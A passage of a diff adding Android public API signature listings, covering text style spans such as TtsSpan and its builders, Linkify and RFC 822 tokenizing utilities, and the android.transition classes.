+    field @Deprecated public static final String ACTION_SUGGESTION_PICKED = "android.text.style.SUGGESTION_PICKED";
+    field @NonNull public static final android.os.Parcelable.Creator<android.text.style.SuggestionSpan> CREATOR;
+    field public static final int FLAG_AUTO_CORRECTION = 4; // 0x4
+    field public static final int FLAG_EASY_CORRECT = 1; // 0x1
+    field public static final int FLAG_GRAMMAR_ERROR = 8; // 0x8
+    field public static final int FLAG_MISSPELLED = 2; // 0x2
+    field public static final int SUGGESTIONS_MAX_SIZE = 5; // 0x5
+    field @Deprecated public static final String SUGGESTION_SPAN_PICKED_AFTER = "after";
+    field @Deprecated public static final String SUGGESTION_SPAN_PICKED_BEFORE = "before";
+    field @Deprecated public static final String SUGGESTION_SPAN_PICKED_HASHCODE = "hashcode";
+  }
+
+  public class SuperscriptSpan extends android.text.style.MetricAffectingSpan implements android.text.ParcelableSpan {
+    ctor public SuperscriptSpan();
+    ctor public SuperscriptSpan(@NonNull android.os.Parcel);
+    method public int describeContents();
+    method public int getSpanTypeId();
+    method public void updateDrawState(@NonNull android.text.TextPaint);
+    method public void updateMeasureState(@NonNull android.text.TextPaint);
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+  }
+
+  public interface TabStopSpan extends android.text.style.ParagraphStyle {
+    method public int getTabStop();
+  }
+
+  public static class TabStopSpan.Standard implements android.text.style.TabStopSpan {
+    ctor public TabStopSpan.Standard(@IntRange(from=0) int);
+    method public int getTabStop();
+  }
+
+  public class TextAppearanceSpan extends android.text.style.MetricAffectingSpan implements android.text.ParcelableSpan {
+    ctor public TextAppearanceSpan(android.content.Context, int);
+    ctor public TextAppearanceSpan(android.content.Context, int, int);
+    ctor public TextAppearanceSpan(String, int, int, android.content.res.ColorStateList, android.content.res.ColorStateList);
+    ctor public TextAppearanceSpan(android.os.Parcel);
+    method public int describeContents();
+    method public String getFamily();
+    method @Nullable public String getFontFeatureSettings();
+    method @Nullable public String getFontVariationSettings();
+    method public android.content.res.ColorStateList getLinkTextColor();
+    method public int getShadowColor();
+    method public float getShadowDx();
+    method public float getShadowDy();
+    method public float getShadowRadius();
+    method public int getSpanTypeId();
+    method public android.content.res.ColorStateList getTextColor();
+    method public int getTextFontWeight();
+    method @Nullable public android.os.LocaleList getTextLocales();
+    method public int getTextSize();
+    method public int getTextStyle();
+    method @Nullable public android.graphics.Typeface getTypeface();
+    method public boolean isElegantTextHeight();
+    method public void updateDrawState(android.text.TextPaint);
+    method public void updateMeasureState(android.text.TextPaint);
+    method public void writeToParcel(android.os.Parcel, int);
+  }
+
+  public class TtsSpan implements android.text.ParcelableSpan {
+    ctor public TtsSpan(String, android.os.PersistableBundle);
+    ctor public TtsSpan(android.os.Parcel);
+    method public int describeContents();
+    method public android.os.PersistableBundle getArgs();
+    method public int getSpanTypeId();
+    method public String getType();
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final String ANIMACY_ANIMATE = "android.animate";
+    field public static final String ANIMACY_INANIMATE = "android.inanimate";
+    field public static final String ARG_ANIMACY = "android.arg.animacy";
+    field public static final String ARG_CASE = "android.arg.case";
+    field public static final String ARG_COUNTRY_CODE = "android.arg.country_code";
+    field public static final String ARG_CURRENCY = "android.arg.money";
+    field public static final String ARG_DAY = "android.arg.day";
+    field public static final String ARG_DENOMINATOR = "android.arg.denominator";
+    field public static final String ARG_DIGITS = "android.arg.digits";
+    field public static final String ARG_DOMAIN = "android.arg.domain";
+    field public static final String ARG_EXTENSION = "android.arg.extension";
+    field public static final String ARG_FRACTIONAL_PART = "android.arg.fractional_part";
+    field public static final String ARG_FRAGMENT_ID = "android.arg.fragment_id";
+    field public static final String ARG_GENDER = "android.arg.gender";
+    field public static final String ARG_HOURS = "android.arg.hours";
+    field public static final String ARG_INTEGER_PART = "android.arg.integer_part";
+    field public static final String ARG_MINUTES = "android.arg.minutes";
+    field public static final String ARG_MONTH = "android.arg.month";
+    field public static final String ARG_MULTIPLICITY = "android.arg.multiplicity";
+    field public static final String ARG_NUMBER = "android.arg.number";
+    field public static final String ARG_NUMBER_PARTS = "android.arg.number_parts";
+    field public static final String ARG_NUMERATOR = "android.arg.numerator";
+    field public static final String ARG_PASSWORD = "android.arg.password";
+    field public static final String ARG_PATH = "android.arg.path";
+    field public static final String ARG_PORT = "android.arg.port";
+    field public static final String ARG_PROTOCOL = "android.arg.protocol";
+    field public static final String ARG_QUANTITY = "android.arg.quantity";
+    field public static final String ARG_QUERY_STRING = "android.arg.query_string";
+    field public static final String ARG_TEXT = "android.arg.text";
+    field public static final String ARG_UNIT = "android.arg.unit";
+    field public static final String ARG_USERNAME = "android.arg.username";
+    field public static final String ARG_VERBATIM = "android.arg.verbatim";
+    field public static final String ARG_WEEKDAY = "android.arg.weekday";
+    field public static final String ARG_YEAR = "android.arg.year";
+    field public static final String CASE_ABLATIVE = "android.ablative";
+    field public static final String CASE_ACCUSATIVE = "android.accusative";
+    field public static final String CASE_DATIVE = "android.dative";
+    field public static final String CASE_GENITIVE = "android.genitive";
+    field public static final String CASE_INSTRUMENTAL = "android.instrumental";
+    field public static final String CASE_LOCATIVE = "android.locative";
+    field public static final String CASE_NOMINATIVE = "android.nominative";
+    field public static final String CASE_VOCATIVE = "android.vocative";
+    field public static final String GENDER_FEMALE = "android.female";
+    field public static final String GENDER_MALE = "android.male";
+    field public static final String GENDER_NEUTRAL = "android.neutral";
+    field public static final int MONTH_APRIL = 3; // 0x3
+    field public static final int MONTH_AUGUST = 7; // 0x7
+    field public static final int MONTH_DECEMBER = 11; // 0xb
+    field public static final int MONTH_FEBRUARY = 1; // 0x1
+    field public static final int MONTH_JANUARY = 0; // 0x0
+    field public static final int MONTH_JULY = 6; // 0x6
+    field public static final int MONTH_JUNE = 5; // 0x5
+    field public static final int MONTH_MARCH = 2; // 0x2
+    field public static final int MONTH_MAY = 4; // 0x4
+    field public static final int MONTH_NOVEMBER = 10; // 0xa
+    field public static final int MONTH_OCTOBER = 9; // 0x9
+    field public static final int MONTH_SEPTEMBER = 8; // 0x8
+    field public static final String MULTIPLICITY_DUAL = "android.dual";
+    field public static final String MULTIPLICITY_PLURAL = "android.plural";
+    field public static final String MULTIPLICITY_SINGLE = "android.single";
+    field public static final String TYPE_CARDINAL = "android.type.cardinal";
+    field public static final String TYPE_DATE = "android.type.date";
+    field public static final String TYPE_DECIMAL = "android.type.decimal";
+    field public static final String TYPE_DIGITS = "android.type.digits";
+    field public static final String TYPE_ELECTRONIC = "android.type.electronic";
+    field public static final String TYPE_FRACTION = "android.type.fraction";
+    field public static final String TYPE_MEASURE = "android.type.measure";
+    field public static final String TYPE_MONEY = "android.type.money";
+    field public static final String TYPE_ORDINAL = "android.type.ordinal";
+    field public static final String TYPE_TELEPHONE = "android.type.telephone";
+    field public static final String TYPE_TEXT = "android.type.text";
+    field public static final String TYPE_TIME = "android.type.time";
+    field public static final String TYPE_VERBATIM = "android.type.verbatim";
+    field public static final int WEEKDAY_FRIDAY = 6; // 0x6
+    field public static final int WEEKDAY_MONDAY = 2; // 0x2
+    field public static final int WEEKDAY_SATURDAY = 7; // 0x7
+    field public static final int WEEKDAY_SUNDAY = 1; // 0x1
+    field public static final int WEEKDAY_THURSDAY = 5; // 0x5
+    field public static final int WEEKDAY_TUESDAY = 3; // 0x3
+    field public static final int WEEKDAY_WEDNESDAY = 4; // 0x4
+  }
+
+  public static class TtsSpan.Builder<C extends android.text.style.TtsSpan.Builder<?>> {
+    ctor public TtsSpan.Builder(String);
+    method public android.text.style.TtsSpan build();
+    method public C setIntArgument(String, int);
+    method public C setLongArgument(String, long);
+    method public C setStringArgument(String, String);
+  }
+
+  public static class TtsSpan.CardinalBuilder extends android.text.style.TtsSpan.SemioticClassBuilder<android.text.style.TtsSpan.CardinalBuilder> {
+    ctor public TtsSpan.CardinalBuilder();
+    ctor public TtsSpan.CardinalBuilder(long);
+    ctor public TtsSpan.CardinalBuilder(String);
+    method public android.text.style.TtsSpan.CardinalBuilder setNumber(long);
+    method public android.text.style.TtsSpan.CardinalBuilder setNumber(String);
+  }
+
+  public static class TtsSpan.DateBuilder extends android.text.style.TtsSpan.SemioticClassBuilder<android.text.style.TtsSpan.DateBuilder> {
+    ctor public TtsSpan.DateBuilder();
+    ctor public TtsSpan.DateBuilder(Integer, Integer, Integer, Integer);
+    method public android.text.style.TtsSpan.DateBuilder setDay(int);
+    method public android.text.style.TtsSpan.DateBuilder setMonth(int);
+    method public android.text.style.TtsSpan.DateBuilder setWeekday(int);
+    method public android.text.style.TtsSpan.DateBuilder setYear(int);
+  }
+
+  public static class TtsSpan.DecimalBuilder extends android.text.style.TtsSpan.SemioticClassBuilder<android.text.style.TtsSpan.DecimalBuilder> {
+    ctor public TtsSpan.DecimalBuilder();
+    ctor public TtsSpan.DecimalBuilder(double, int, int);
+    ctor public TtsSpan.DecimalBuilder(String, String);
+    method public android.text.style.TtsSpan.DecimalBuilder setArgumentsFromDouble(double, int, int);
+    method public android.text.style.TtsSpan.DecimalBuilder setFractionalPart(String);
+    method public android.text.style.TtsSpan.DecimalBuilder setIntegerPart(long);
+    method public android.text.style.TtsSpan.DecimalBuilder setIntegerPart(String);
+  }
+
+  public static class TtsSpan.DigitsBuilder extends android.text.style.TtsSpan.SemioticClassBuilder<android.text.style.TtsSpan.DigitsBuilder> {
+    ctor public TtsSpan.DigitsBuilder();
+    ctor public TtsSpan.DigitsBuilder(String);
+    method public android.text.style.TtsSpan.DigitsBuilder setDigits(String);
+  }
+
+  public static class TtsSpan.ElectronicBuilder extends android.text.style.TtsSpan.SemioticClassBuilder<android.text.style.TtsSpan.ElectronicBuilder> {
+    ctor public TtsSpan.ElectronicBuilder();
+    method public android.text.style.TtsSpan.ElectronicBuilder setDomain(String);
+    method public android.text.style.TtsSpan.ElectronicBuilder setEmailArguments(String, String);
+    method public android.text.style.TtsSpan.ElectronicBuilder setFragmentId(String);
+    method public android.text.style.TtsSpan.ElectronicBuilder setPassword(String);
+    method public android.text.style.TtsSpan.ElectronicBuilder setPath(String);
+    method public android.text.style.TtsSpan.ElectronicBuilder setPort(int);
+    method public android.text.style.TtsSpan.ElectronicBuilder setProtocol(String);
+    method public android.text.style.TtsSpan.ElectronicBuilder setQueryString(String);
+    method public android.text.style.TtsSpan.ElectronicBuilder setUsername(String);
+  }
+
+  public static class TtsSpan.FractionBuilder extends android.text.style.TtsSpan.SemioticClassBuilder<android.text.style.TtsSpan.FractionBuilder> {
+    ctor public TtsSpan.FractionBuilder();
+    ctor public TtsSpan.FractionBuilder(long, long, long);
+    method public android.text.style.TtsSpan.FractionBuilder setDenominator(long);
+    method public android.text.style.TtsSpan.FractionBuilder setDenominator(String);
+    method public android.text.style.TtsSpan.FractionBuilder setIntegerPart(long);
+    method public android.text.style.TtsSpan.FractionBuilder setIntegerPart(String);
+    method public android.text.style.TtsSpan.FractionBuilder setNumerator(long);
+    method public android.text.style.TtsSpan.FractionBuilder setNumerator(String);
+  }
+
+  public static class TtsSpan.MeasureBuilder extends android.text.style.TtsSpan.SemioticClassBuilder<android.text.style.TtsSpan.MeasureBuilder> {
+    ctor public TtsSpan.MeasureBuilder();
+    method public android.text.style.TtsSpan.MeasureBuilder setDenominator(long);
+    method public android.text.style.TtsSpan.MeasureBuilder setDenominator(String);
+    method public android.text.style.TtsSpan.MeasureBuilder setFractionalPart(String);
+    method public android.text.style.TtsSpan.MeasureBuilder setIntegerPart(long);
+    method public android.text.style.TtsSpan.MeasureBuilder setIntegerPart(String);
+    method public android.text.style.TtsSpan.MeasureBuilder setNumber(long);
+    method public android.text.style.TtsSpan.MeasureBuilder setNumber(String);
+    method public android.text.style.TtsSpan.MeasureBuilder setNumerator(long);
+    method public android.text.style.TtsSpan.MeasureBuilder setNumerator(String);
+    method public android.text.style.TtsSpan.MeasureBuilder setUnit(String);
+  }
+
+  public static class TtsSpan.MoneyBuilder extends android.text.style.TtsSpan.SemioticClassBuilder<android.text.style.TtsSpan.MoneyBuilder> {
+    ctor public TtsSpan.MoneyBuilder();
+    method public android.text.style.TtsSpan.MoneyBuilder setCurrency(String);
+    method public android.text.style.TtsSpan.MoneyBuilder setFractionalPart(String);
+    method public android.text.style.TtsSpan.MoneyBuilder setIntegerPart(long);
+    method public android.text.style.TtsSpan.MoneyBuilder setIntegerPart(String);
+    method public android.text.style.TtsSpan.MoneyBuilder setQuantity(String);
+  }
+
+  public static class TtsSpan.OrdinalBuilder extends android.text.style.TtsSpan.SemioticClassBuilder<android.text.style.TtsSpan.OrdinalBuilder> {
+    ctor public TtsSpan.OrdinalBuilder();
+    ctor public TtsSpan.OrdinalBuilder(long);
+    ctor public TtsSpan.OrdinalBuilder(String);
+    method public android.text.style.TtsSpan.OrdinalBuilder setNumber(long);
+    method public android.text.style.TtsSpan.OrdinalBuilder setNumber(String);
+  }
+
+  public static class TtsSpan.SemioticClassBuilder<C extends android.text.style.TtsSpan.SemioticClassBuilder<?>> extends android.text.style.TtsSpan.Builder<C> {
+    ctor public TtsSpan.SemioticClassBuilder(String);
+    method public C setAnimacy(String);
+    method public C setCase(String);
+    method public C setGender(String);
+    method public C setMultiplicity(String);
+  }
+
+  public static class TtsSpan.TelephoneBuilder extends android.text.style.TtsSpan.SemioticClassBuilder<android.text.style.TtsSpan.TelephoneBuilder> {
+    ctor public TtsSpan.TelephoneBuilder();
+    ctor public TtsSpan.TelephoneBuilder(String);
+    method public android.text.style.TtsSpan.TelephoneBuilder setCountryCode(String);
+    method public android.text.style.TtsSpan.TelephoneBuilder setExtension(String);
+    method public android.text.style.TtsSpan.TelephoneBuilder setNumberParts(String);
+  }
+
+  public static class TtsSpan.TextBuilder extends android.text.style.TtsSpan.SemioticClassBuilder<android.text.style.TtsSpan.TextBuilder> {
+    ctor public TtsSpan.TextBuilder();
+    ctor public TtsSpan.TextBuilder(String);
+    method public android.text.style.TtsSpan.TextBuilder setText(String);
+  }
+
+  public static class TtsSpan.TimeBuilder extends android.text.style.TtsSpan.SemioticClassBuilder<android.text.style.TtsSpan.TimeBuilder> {
+    ctor public TtsSpan.TimeBuilder();
+    ctor public TtsSpan.TimeBuilder(int, int);
+    method public android.text.style.TtsSpan.TimeBuilder setHours(int);
+    method public android.text.style.TtsSpan.TimeBuilder setMinutes(int);
+  }
+
+  public static class TtsSpan.VerbatimBuilder extends android.text.style.TtsSpan.SemioticClassBuilder<android.text.style.TtsSpan.VerbatimBuilder> {
+    ctor public TtsSpan.VerbatimBuilder();
+    ctor public TtsSpan.VerbatimBuilder(String);
+    method public android.text.style.TtsSpan.VerbatimBuilder setVerbatim(String);
+  }
+
+  public class TypefaceSpan extends android.text.style.MetricAffectingSpan implements android.text.ParcelableSpan {
+    ctor public TypefaceSpan(@Nullable String);
+    ctor public TypefaceSpan(@NonNull android.graphics.Typeface);
+    ctor public TypefaceSpan(@NonNull android.os.Parcel);
+    method public int describeContents();
+    method @Nullable public String getFamily();
+    method public int getSpanTypeId();
+    method @Nullable public android.graphics.Typeface getTypeface();
+    method public void updateDrawState(@NonNull android.text.TextPaint);
+    method public void updateMeasureState(@NonNull android.text.TextPaint);
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+  }
+
+  public class URLSpan extends android.text.style.ClickableSpan implements android.text.ParcelableSpan {
+    ctor public URLSpan(String);
+    ctor public URLSpan(@NonNull android.os.Parcel);
+    method public int describeContents();
+    method public int getSpanTypeId();
+    method public String getURL();
+    method public void onClick(android.view.View);
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+  }
+
+  public class UnderlineSpan extends android.text.style.CharacterStyle implements android.text.ParcelableSpan android.text.style.UpdateAppearance {
+    ctor public UnderlineSpan();
+    ctor public UnderlineSpan(@NonNull android.os.Parcel);
+    method public int describeContents();
+    method public int getSpanTypeId();
+    method public void updateDrawState(@NonNull android.text.TextPaint);
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+  }
+
+  public interface UpdateAppearance {
+  }
+
+  public interface UpdateLayout extends android.text.style.UpdateAppearance {
+  }
+
+  public interface WrapTogetherSpan extends android.text.style.ParagraphStyle {
+  }
+
+}
+
+package android.text.util {
+
+  public class Linkify {
+    ctor public Linkify();
+    method public static final boolean addLinks(@NonNull android.text.Spannable, int);
+    method public static final boolean addLinks(@NonNull android.text.Spannable, int, @Nullable java.util.function.Function<java.lang.String,android.text.style.URLSpan>);
+    method public static final boolean addLinks(@NonNull android.widget.TextView, int);
+    method public static final void addLinks(@NonNull android.widget.TextView, @NonNull java.util.regex.Pattern, @Nullable String);
+    method public static final void addLinks(@NonNull android.widget.TextView, @NonNull java.util.regex.Pattern, @Nullable String, @Nullable android.text.util.Linkify.MatchFilter, @Nullable android.text.util.Linkify.TransformFilter);
+    method public static final void addLinks(@NonNull android.widget.TextView, @NonNull java.util.regex.Pattern, @Nullable String, @Nullable String[], @Nullable android.text.util.Linkify.MatchFilter, @Nullable android.text.util.Linkify.TransformFilter);
+    method public static final boolean addLinks(@NonNull android.text.Spannable, @NonNull java.util.regex.Pattern, @Nullable String);
+    method public static final boolean addLinks(@NonNull android.text.Spannable, @NonNull java.util.regex.Pattern, @Nullable String, @Nullable android.text.util.Linkify.MatchFilter, @Nullable android.text.util.Linkify.TransformFilter);
+    method public static final boolean addLinks(@NonNull android.text.Spannable, @NonNull java.util.regex.Pattern, @Nullable String, @Nullable String[], @Nullable android.text.util.Linkify.MatchFilter, @Nullable android.text.util.Linkify.TransformFilter);
+    method public static final boolean addLinks(@NonNull android.text.Spannable, @NonNull java.util.regex.Pattern, @Nullable String, @Nullable String[], @Nullable android.text.util.Linkify.MatchFilter, @Nullable android.text.util.Linkify.TransformFilter, @Nullable java.util.function.Function<java.lang.String,android.text.style.URLSpan>);
+    field public static final int ALL = 15; // 0xf
+    field public static final int EMAIL_ADDRESSES = 2; // 0x2
+    field @Deprecated public static final int MAP_ADDRESSES = 8; // 0x8
+    field public static final int PHONE_NUMBERS = 4; // 0x4
+    field public static final int WEB_URLS = 1; // 0x1
+    field public static final android.text.util.Linkify.MatchFilter sPhoneNumberMatchFilter;
+    field public static final android.text.util.Linkify.TransformFilter sPhoneNumberTransformFilter;
+    field public static final android.text.util.Linkify.MatchFilter sUrlMatchFilter;
+  }
+
+  public static interface Linkify.MatchFilter {
+    method public boolean acceptMatch(CharSequence, int, int);
+  }
+
+  public static interface Linkify.TransformFilter {
+    method public String transformUrl(java.util.regex.Matcher, String);
+  }
+
+  public class Rfc822Token {
+    ctor public Rfc822Token(@Nullable String, @Nullable String, @Nullable String);
+    method @Nullable public String getAddress();
+    method @Nullable public String getComment();
+    method @Nullable public String getName();
+    method public static String quoteComment(String);
+    method public static String quoteName(String);
+    method public static String quoteNameIfNecessary(String);
+    method public void setAddress(@Nullable String);
+    method public void setComment(@Nullable String);
+    method public void setName(@Nullable String);
+  }
+
+  public class Rfc822Tokenizer implements android.widget.MultiAutoCompleteTextView.Tokenizer {
+    ctor public Rfc822Tokenizer();
+    method public int findTokenEnd(CharSequence, int);
+    method public int findTokenStart(CharSequence, int);
+    method public CharSequence terminateToken(CharSequence);
+    method public static void tokenize(CharSequence, java.util.Collection<android.text.util.Rfc822Token>);
+    method public static android.text.util.Rfc822Token[] tokenize(CharSequence);
+  }
+
+}
+
+package android.transition {
+
+  public class ArcMotion extends android.transition.PathMotion {
+    ctor public ArcMotion();
+    ctor public ArcMotion(android.content.Context, android.util.AttributeSet);
+    method public float getMaximumAngle();
+    method public float getMinimumHorizontalAngle();
+    method public float getMinimumVerticalAngle();
+    method public android.graphics.Path getPath(float, float, float, float);
+    method public void setMaximumAngle(float);
+    method public void setMinimumHorizontalAngle(float);
+    method public void setMinimumVerticalAngle(float);
+  }
+
+  public class AutoTransition extends android.transition.TransitionSet {
+    ctor public AutoTransition();
+    ctor public AutoTransition(android.content.Context, android.util.AttributeSet);
+  }
+
+  public class ChangeBounds extends android.transition.Transition {
+    ctor public ChangeBounds();
+    ctor public ChangeBounds(android.content.Context, android.util.AttributeSet);
+    method public void captureEndValues(android.transition.TransitionValues);
+    method public void captureStartValues(android.transition.TransitionValues);
+    method public boolean getResizeClip();
+    method @Deprecated public void setReparent(boolean);
+    method public void setResizeClip(boolean);
+  }
+
+  public class ChangeClipBounds extends android.transition.Transition {
+    ctor public ChangeClipBounds();
+    ctor public ChangeClipBounds(android.content.Context, android.util.AttributeSet);
+    method public void captureEndValues(android.transition.TransitionValues);
+    method public void captureStartValues(android.transition.TransitionValues);
+  }
+
+  public class ChangeImageTransform extends android.transition.Transition {
+    ctor public ChangeImageTransform();
+    ctor public ChangeImageTransform(android.content.Context, android.util.AttributeSet);
+    method public void captureEndValues(android.transition.TransitionValues);
+    method public void captureStartValues(android.transition.TransitionValues);
+  }
+
+  public class ChangeScroll extends android.transition.Transition {
+    ctor public ChangeScroll();
+    ctor public ChangeScroll(android.content.Context, android.util.AttributeSet);
+    method public void captureEndValues(android.transition.TransitionValues);
+    method public void captureStartValues(android.transition.TransitionValues);
+  }
+
+  public class ChangeTransform extends android.transition.Transition {
+    ctor public ChangeTransform();
+    ctor public ChangeTransform(android.content.Context, android.util.AttributeSet);
+    method public void captureEndValues(android.transition.TransitionValues);
+    method public void captureStartValues(android.transition.TransitionValues);
+    method public boolean getReparent();
+    method public boolean getReparentWithOverlay();
+    method public void setReparent(boolean);
+    method public void setReparentWithOverlay(boolean);
+  }
+
+  public class CircularPropagation extends android.transition.VisibilityPropagation {
+    ctor public CircularPropagation();
+    method public long getStartDelay(android.view.ViewGroup, android.transition.Transition, android.transition.TransitionValues, android.transition.TransitionValues);
+    method public void setPropagationSpeed(float);
+  }
+
+  public class Explode extends android.transition.Visibility {
+    ctor public Explode();
+    ctor public Explode(android.content.Context, android.util.AttributeSet);
+  }
+
+  public class Fade extends android.transition.Visibility {
+    ctor public Fade();
+    ctor public Fade(int);
+    ctor public Fade(android.content.Context, android.util.AttributeSet);
+    field public static final int IN = 1; // 0x1
+    field public static final int OUT = 2; // 0x2
+  }
+
+  public abstract class PathMotion {
+    ctor public PathMotion();
+    ctor public PathMotion(android.content.Context, android.util.AttributeSet);
+    method public abstract android.graphics.Path getPath(float, float, float, float);
+  }
+
+  public class PatternPathMotion extends android.transition.PathMotion {
+    ctor public PatternPathMotion();
+    ctor public PatternPathMotion(android.content.Context, android.util.AttributeSet);
+    ctor public PatternPathMotion(android.graphics.Path);
+    method public android.graphics.Path getPath(float, float, float, float);
+    method public android.graphics.Path getPatternPath();
+    method public void setPatternPath(android.graphics.Path);
+  }
+
+  public final class Scene {
+    ctor public Scene(android.view.ViewGroup);
+    ctor public Scene(android.view.ViewGroup, android.view.View);
+    ctor @Deprecated public Scene(android.view.ViewGroup, android.view.ViewGroup);
+    method public void enter();
+    method public void exit();
+    method @Nullable public static android.transition.Scene getCurrentScene(@NonNull android.view.ViewGroup);
+    method public static android.transition.Scene getSceneForLayout(android.view.ViewGroup, int, android.content.Context);
+    method public android.view.ViewGroup getSceneRoot();
+    method public void setEnterAction(Runnable);
+    method public void setExitAction(Runnable);
+  }
+
+  public class SidePropagation extends android.transition.VisibilityPropagation {
+    ctor public SidePropagation();
+    method public long getStartDelay(android.view.ViewGroup, android.transition.Transition, android.transition.TransitionValues, android.transition.TransitionValues);
+    method public void setPropagationSpeed(float);
+    method public void setSide(int);
+  }
+
+  public class Slide extends android.transition.Visibility {
+    ctor public Slide();
+    ctor public Slide(int);
+    ctor public Slide(android.content.Context, android.util.AttributeSet);
+    method public int getSlideEdge();
+    method public void setSlideEdge(int);
+  }
+
+  public abstract class Transition implements java.lang.Cloneable {
+    ctor public Transition();
+    ctor public Transition(android.content.Context, android.util.AttributeSet);
+    method public android.transition.Transition addListener(android.transition.Transition.TransitionListener);
+    method public android.transition.Transition addTarget(int);
+    method public android.transition.Transition addTarget(String);
+    method public android.transition.Transition addTarget(Class);
+    method public android.transition.Transition addTarget(android.view.View);
+    method public boolean canRemoveViews();
+    method public abstract void captureEndValues(android.transition.TransitionValues);
+    method public abstract void captureStartValues(android.transition.TransitionValues);
+    method public android.transition.Transition clone();
+    method public android.animation.Animator createAnimator(android.view.ViewGroup, android.transition.TransitionValues, android.transition.TransitionValues);
+    method public android.transition.Transition excludeChildren(int, boolean);
+    method public android.transition.Transition excludeChildren(android.view.View, boolean);
+    method public android.transition.Transition excludeChildren(Class, boolean);
+    method public android.transition.Transition excludeTarget(int, boolean);
+    method public android.transition.Transition excludeTarget(String, boolean);
+    method public android.transition.Transition excludeTarget(android.view.View, boolean);
+    method public android.transition.Transition excludeTarget(Class, boolean);
+    method public long getDuration();
+    method public android.graphics.Rect getEpicenter();
+    method public android.transition.Transition.EpicenterCallback getEpicenterCallback();
+    method public android.animation.TimeInterpolator getInterpolator();
+    method public String getName();
+    method public android.transition.PathMotion getPathMotion();
+    method public android.transition.TransitionPropagation getPropagation();
+    method public long getStartDelay();
+    method public java.util.List<java.lang.Integer> getTargetIds();
+    method public java.util.List<java.lang.String> getTargetNames();
+    method public java.util.List<java.lang.Class> getTargetTypes();
+    method public java.util.List<android.view.View> getTargets();
+    method public String[] getTransitionProperties();
+    method public android.transition.TransitionValues getTransitionValues(android.view.View, boolean);
+    method public boolean isTransitionRequired(@Nullable android.transition.TransitionValues, @Nullable android.transition.TransitionValues);
+    method public android.transition.Transition removeListener(android.transition.Transition.TransitionListener);
+    method public android.transition.Transition removeTarget(int);
+    method public android.transition.Transition removeTarget(String);
+    method public android.transition.Transition removeTarget(android.view.View);
+    method public android.transition.Transition removeTarget(Class);
+    method public android.transition.Transition setDuration(long);
+    method public void setEpicenterCallback(android.transition.Transition.EpicenterCallback);
+    method public android.transition.Transition setInterpolator(android.animation.TimeInterpolator);
+    method public void setMatchOrder(int...);
+    method public void setPathMotion(android.transition.PathMotion);
+    method public void setPropagation(android.transition.TransitionPropagation);
+    method public android.transition.Transition setStartDelay(long);
+    field public static final int MATCH_ID = 3; // 0x3
+    field public static final int MATCH_INSTANCE = 1; // 0x1
+    field public static final int MATCH_ITEM_ID = 4; // 0x4
+    field public static final int MATCH_NAME = 2; // 0x2
+  }
+
+  public abstract static class Transition.EpicenterCallback {
+    ctor public Transition.EpicenterCallback();
+    method public abstract android.graphics.Rect onGetEpicenter(android.transition.Transition);
+  }
+
+  public static interface Transition.TransitionListener {
+    method public void onTransitionCancel(android.transition.Transition);
+    method public void onTransitionEnd(android.transition.Transition);
+    method public void onTransitionPause(android.transition.Transition);
+    method public void onTransitionResume(android.transition.Transition);
+    method public void onTransitionStart(android.transition.Transition);
+  }
+
+  public class TransitionInflater {
+    method public static android.transition.TransitionInflater from(android.content.Context);
+    method public android.transition.Transition inflateTransition(@TransitionRes int);
+    method public android.transition.TransitionManager inflateTransitionManager(@TransitionRes int, android.view.ViewGroup);
+  }
+
+  public abstract class TransitionListenerAdapter implements android.transition.Transition.TransitionListener {
+    ctor public TransitionListenerAdapter();
+    method public void onTransitionCancel(android.transition.Transition);
+    method public void onTransitionEnd(android.transition.Transition);
+    method public void onTransitionPause(android.transition.Transition);
+    method public void onTransitionResume(android.transition.Transition);
+    method public void onTransitionStart(android.transition.Transition);
+  }
+
+  public class TransitionManager {
+    ctor public TransitionManager();
+    method public static void beginDelayedTransition(android.view.ViewGroup);
+    method public static void beginDelayedTransition(android.view.ViewGroup, android.transition.Transition);
+    method public static void endTransitions(android.view.ViewGroup);
+    method public static void go(android.transition.Scene);
+    method public static void go(android.transition.Scene, android.transition.Transition);
+    method public void setTransition(android.transition.Scene, android.transition.Transition);
+    method public void setTransition(android.transition.Scene, android.transition.Scene, android.transition.Transition);
+    method public void transitionTo(android.transition.Scene);
+  }
+
+  public abstract class TransitionPropagation {
+    ctor public TransitionPropagation();
+    method public abstract void captureValues(android.transition.TransitionValues);
+    method public abstract String[] getPropagationProperties();
+    method public abstract long getStartDelay(android.view.ViewGroup, android.transition.Transition, android.transition.TransitionValues, android.transition.TransitionValues);
+  }
+
+  public class TransitionSet extends android.transition.Transition {
+    ctor public TransitionSet();
+    ctor public TransitionSet(android.content.Context, android.util.AttributeSet);
+    method public android.transition.TransitionSet addListener(android.transition.Transition.TransitionListener);
+    method public android.transition.TransitionSet addTarget(android.view.View);
+    method public android.transition.TransitionSet addTarget(int);
+    method public android.transition.TransitionSet addTarget(String);
+    method public android.transition.TransitionSet addTarget(Class);
+    method public android.transition.TransitionSet addTransition(android.transition.Transition);
+    method public void captureEndValues(android.transition.TransitionValues);
+    method public void captureStartValues(android.transition.TransitionValues);
+    method public android.transition.TransitionSet clone();
+    method public int getOrdering();
+    method public android.transition.Transition getTransitionAt(int);
+    method public int getTransitionCount();
+    method public android.transition.TransitionSet removeListener(android.transition.Transition.TransitionListener);
+    method public android.transition.TransitionSet removeTarget(int);
+    method public android.transition.TransitionSet removeTarget(android.view.View);
+    method public android.transition.TransitionSet removeTarget(Class);
+    method public android.transition.TransitionSet removeTarget(String);
+    method public android.transition.TransitionSet removeTransition(android.transition.Transition);
+    method public android.transition.TransitionSet setDuration(long);
+    method public android.transition.TransitionSet setInterpolator(android.animation.TimeInterpolator);
+    method public android.transition.TransitionSet setOrdering(int);
+    method public android.transition.TransitionSet setStartDelay(long);
+    field public static final int ORDERING_SEQUENTIAL = 1; // 0x1
+    field public static final int ORDERING_TOGETHER = 0; // 0x0
+  }
+
+  public class TransitionValues {
+    ctor @Deprecated public TransitionValues();
+    ctor public TransitionValues(@NonNull android.view.View);
+    field @NonNull public final java.util.Map<java.lang.String,java.lang.Object> values;
+    field @NonNull public android.view.View view;
+  }
+
+  public abstract class Visibility extends android.transition.Transition {
+    ctor public Visibility();
+    ctor public Visibility(android.content.Context, android.util.AttributeSet);
+    method public void captureEndValues(android.transition.TransitionValues);
+    method public void captureStartValues(android.transition.TransitionValues);
+    method public int getMode();
